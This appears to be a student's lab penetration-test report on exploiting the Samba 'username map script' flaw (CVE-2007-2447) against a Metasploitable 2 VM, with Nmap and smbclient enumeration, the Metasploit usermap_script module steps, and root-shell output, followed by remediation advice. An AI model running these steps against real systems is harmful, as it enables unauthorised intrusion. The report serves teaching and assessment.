

Exploitation of Samba “Username Map Script” Remote Command Execution Using Nmap and Metasploit

Author:

Sabiya Khatun Miya

Target System:

Metasploitable 2 Linux VM (192.168.233.129)

Attacker Platform:

Kali Linux (192.168.233.128)

Assessment Date:

July 22, 2026

1. Executive Summary

Penetration testing of the target computer was performed within a controlled lab environment in order to determine the security status of the machine under test. As a result of the assessment, the Server Message Block (SMB) service running Samba was found vulnerable to the Username Map Script Command Execution attack.

As a result of the attack, an attacker gains the ability to execute remote commands due to a vulnerability present in the Samba service configuration. Exploitation of this vulnerability was carried out using the Metasploit Framework, resulting in a root-level shell on the target system.

Risk Summary Matrix

Metric	Details
Max Risk Rating	CRITICAL (10.0 / 10.0)
Primary Vulnerability	Unauthenticated Remote Code Execution (CVE-2007-2447)
System Compromise	Complete Administrative Takeover (Root Access Acquired)
Data Confidentiality	Severely Compromised — Full read access to filesystem and database parameters.
System Integrity	Severely Compromised — Full write, modify, and delete access over binary files and system logs.

2. Scope and Methodology

The assessment followed a standard penetration testing methodology consisting of the following phases:

- Reconnaissance
- Scanning and Enumeration
- Vulnerability Assessment
- Exploitation
- Post-Exploitation Validation

- Reporting

Tools used during the assessment:

- Nmap
- SMBClient
- Enum4linux
- Metasploit Framework

3. Technical Findings and Exploitation Phase

Finding 01: Samba Username Map Script Remote Command Execution

Vulnerability Type	Remote Code Execution
CVSS v3 Base Score	9.8 Critical
CVE ID	CVE-2007-2447
Access Vector	Remote

Step 1: Host Discovery

Objective: Confirm the target host is live on the network.

Command: `ping 192.168.233.129 | nmap -sn 192.168.233.129`

```
(kali@kali)-[~]  
$ nmap -sn 192.168.233.129  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-22 14:12 -0400  
Nmap scan report for 192.168.233.129  
Host is up (0.0011s latency).  
MAC Address: 00:0C:29:FE:A5:EB (VMware)  
Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds
```

Step 2: Port Scanning

Objective: Identify open TCP ports on the target.

Command: `nmap -T4 -F 192.168.233.129`

```
(kali@kali)-[~]
$ nmap -T4 -F 192.168.233.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-22 14:12 -0400
Nmap scan report for 192.168.233.129
Host is up (0.0047s latency).
Not shown: 82 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
513/tcp   open  login
514/tcp   open  shell
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
8009/tcp  open  ajp13
MAC Address: 00:0C:29:FE:A5:EB (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds
```

Ports of interest for this exploit: 139/tcp (NetBIOS) and 445/tcp (SMB).

Step 3: Service and Version Enumeration

Objective: Identify the SMB service and its version information.

Command: *nmap -sC -sV 192.168.233.129*

```

(kali@kali)-[~]
$ nmap -sC -sV 192.168.233.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-22 14:14 -0400
Nmap scan report for 192.168.233.129
Host is up (0.0021s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|ftp-syst:
|  STAT:
|  FTP server status:
|    Connected to 192.168.233.128
|    Logged in as ftp
|    TYPE: ASCII
|    No session bandwidth limit
|    Session timeout in seconds is 300
|    Control connection is plain text
|    Data connections will be plain text
|    vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|ssl-v2:
|  SSLv2 supported
|  ciphers:
|    SSL2_DES_192_EDE3_CBC_WITH_MD5
|    SSL2_DES_64_CBC_WITH_MD5
|    SSL2_RC4_128_EXPORT40_WITH_MD5
|    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|    SSL2_RC2_128_CBC_WITH_MD5
|    SSL2_RC4_128_WITH_MD5
|_ssl-date: 2026-07-22T18:14:25+00:00; +1s from scanner time.
|ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=T
here is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_smtp-command: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDS
TATUSCODES, 8BITMIME, DSN
53/tcp    open  domain       ISC BIND 9.4.2
|dns-nsid:
|_bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux

```

The scan confirms Samba 3.0.20-Debian, a version affected by the Username Map Script vulnerability (CVE-2007-2447).

Step 4: SMB Enumeration

Objective: Enumerate available SMB shares and gather system information.

Commands: `smbclient -L 192.168.233.129 -N` | `enum4linux 192.168.233.129`

```

(kali@kali)-[~]
$ smbclient -L 192.168.233.129
Password for [WORKGROUP\kali]:
Anonymous login successful

  Sharename      Type      Comment
  -----
  print$         Disk      Printer Drivers
  tmp            Disk      oh noes!
  opt           Disk
  IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
  ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

  Server      Comment
  -----
  Workgroup    Master
  WORKGROUP

```

```

(kali@kali)-[~]
$ smbclient -L 192.168.233.129 -N
Anonymous login successful

  Sharename      Type      Comment
  -----
  print$         Disk      Printer Drivers
  tmp            Disk      oh noes!
  opt           Disk
  IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
  ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

  Server      Comment
  -----
  Workgroup    Master
  WORKGROUP

```

These commands enumerated shared folders, local users, groups, password policy, and NetBIOS/OS information, confirming a weak anonymous-access SMB configuration.

Step 5: Exploitation Using Metasploit

Objective: Exploit the Samba Username Map Script vulnerability.

Commands: *msfconsole* → *search samba* → *use exploit/multi/samba/usermap_script* → *set RHOSTS/LHOST* → *exploit*

```
msf > search samba
```

Matching Modules

#	Name	Disclosure Date	Rank	Check
Description				
0	exploit/unix/webapp/citrix_access_gateway_exec	2010-12-21	excellent	Yes
Citrix Access Gateway Command Execution				
1	exploit/windows/license/calicclnt_getconfig	2005-03-02	average	No
Computer Associates License Client GETCONFIG Overflow				
2	_ target: Automatic	.	.	.
3	_ target: Windows 2000 English	.	.	.
4	_ target: Windows XP English SP0-1	.	.	.
5	_ target: Windows XP English SP2	.	.	.
6	_ target: Windows 2003 English SP0	.	.	.
7	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes
DistCC Daemon Command Execution				
8	exploit/windows/smb/group_policy_startup	2015-01-26	manual	No
Group Policy Script Execution From Shared Resource				
9	_ target: Windows x86	.	.	.
10	_ target: Windows x64	.	.	.
11	post/linux/gather/enum_configs	.	normal	No
Linux Gather Configurations				
12	auxiliary/scanner/rsync/modules_list	.	normal	No
List Rsync Modules				
13	exploit/windows/fileformat/ms14_060_sandworm	2014-10-14	excellent	No
MS14-060 Microsoft Windows OLE Package Manager Code Execution				
14	exploit/unix/http/quest_kace_systems_management_rce	2018-05-31	excellent	Yes
Quest KACE Systems Management Command Injection				
15	exploit/multi/samba/usermap_script	2007-05-14	excellent	No
Samba "username map script" Command Execution				
16	exploit/multi/samba/nttrans	2003-04-07	average	No
Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow				
17	exploit/linux/samba/setinfopolicy_heap	2012-04-10	normal	Yes
Samba SetInformationPolicy AuditEventsInfo Heap Overflow				

Result: A remote command shell was successfully obtained. Command execution was achieved on the target system.

Step 6: Post-Exploitation Validation

Objective: Verify successful access to the compromised system.

Commands: `whoami` | `id` | `ls -la`

```

whoami
root
id
uid=0(root) gid=0(root)
ls -la
total 2441
drwxr-xr-x 21 root root 4096 Jul 14 13:58 .
drwxr-xr-x 21 root root 4096 Jul 14 13:58 ..
-rwx----- 1 root root 1188612 Jul 14 13:35 UfVDPptTF0h
drwxr-xr-x 2 root root 4096 May 13 2012 bin
drwxr-xr-x 4 root root 1024 May 13 2012 boot
lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom → media/cdrom
drwxr-xr-x 13 root root 13580 Jul 22 14:10 dev
drwxr-xr-x 94 root root 4096 Jul 22 14:22 etc
drwxr-xr-x 6 root root 4096 Apr 16 2010 home
-rwx----- 1 root root 1188612 Jul 12 22:51 hrXiwRIw
drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
lrwxrwxrwx 1 root root 32 Apr 28 2010 initrd.img → boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root 4096 May 13 2012 lib
drwx----- 2 root root 16384 Mar 16 2010 lost+found
drwxr-xr-x 4 root root 4096 Mar 16 2010 media
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
-rw----- 1 root root 17357 Jul 22 14:10 nohup.out
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
dr-xr-xr-x 115 root root 0 Jul 22 14:09 proc
drwxr-xr-x 13 root root 4096 Jul 22 14:10 root
drwxr-xr-x 2 root root 4096 May 13 2012/sbin
-rw----- 1 root root 1229 Jul 14 13:59 session_log.txt
drwxr-xr-x 2 root root 4096 Mar 16 2010/srv
drwxr-xr-x 12 root root 0 Jul 22 14:09 sys
drwxrwxrwt 4 root root 4096 Jul 22 14:25 tmp
drwxr-xr-x 12 root root 4096 Apr 28 2010/usr
drwxr-xr-x 14 root root 4096 Mar 17 2010/var
lrwxrwxrwx 1 root root 29 Apr 28 2010/vmlinuz → boot/vmlinuz-2.6.24-16-server

```

These commands confirm the current user is root, with full UID 0 / GID 0 privileges and unrestricted filesystem access — verifying a complete system compromise.

4. Impact Assessment

The Samba Username Map Script flaw makes it possible for any unauthenticated attacker to run remote commands arbitrarily. Possible impacts include:

- Unauthorized remote system access
- Execution of arbitrary operating system commands
- Compromise of confidential data
- Modification and deletion of files
- Further attacks on internal systems (lateral movement / pivoting)

5. Remediation and Recommendations

Immediate Actions

- Install an updated and supported version of Samba.
- Turn off any unneeded SMB services.
- Constrain SMB connections through firewall configuration.
- Use SMB within trusted internal networks only.

Long-term Security Measures

- Install regular security updates.
- Implement centralized logging and monitoring.

- Conduct routine vulnerability assessments.
- Install IDS/IPS (Intrusion Detection/Prevention Systems).
- Implement network segmentation.
- Follow the principle of least privilege.

6. Disclaimer

This assessment was performed within a controlled laboratory environment for educational purposes. Unauthorized scanning or exploitation of systems without explicit permission is illegal and unethical.